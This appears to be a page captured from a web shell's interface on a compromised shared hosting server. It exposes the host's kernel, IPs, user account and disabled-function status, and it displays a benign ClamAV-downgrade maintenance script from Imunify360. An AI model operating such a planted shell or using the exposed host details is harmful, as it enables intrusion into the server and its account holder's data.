XylotrechusZ

XylotrechusZ Shell

Uname: Linux premium294.web-hosting.com 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP Wed Mar 26 12:08:09 UTC 2025 x86_64
Software: LiteSpeed
PHP version: 8.1.32 [ PHP INFO ] PHP os: Linux
Server Ip: 104.21.32.1
Your Ip: 216.73.216.223
User: mjbynoyq (1574) | Group: mjbynoyq (1570)
Safe Mode: OFF
Disable Function:
NONE

name : purge-clamav
#!/bin/bash

set -x

im360_clamav=$(yum list installed | grep imunify360 | grep clamav | awk '{print $1}')

installed_epel=0

if [ -n "${im360_clamav}" ]; then
    if [ ! -f /etc/yum.repos.d/epel.repo ] && ! yum repolist all | grep 'epel/'; then
        yum -y install epel-release
        installed_epel=1
    fi
    yum -y downgrade --enablerepo=epel ${im360_clamav}

    if [ $installed_epel = 1 ]; then
        yum -y remove epel-release
    fi
fi

touch /var/imunify360/tmp/clamav_purged
rm -f /etc/cron.d/imunify360-purge-clamav
© 2025 XylotrechusZ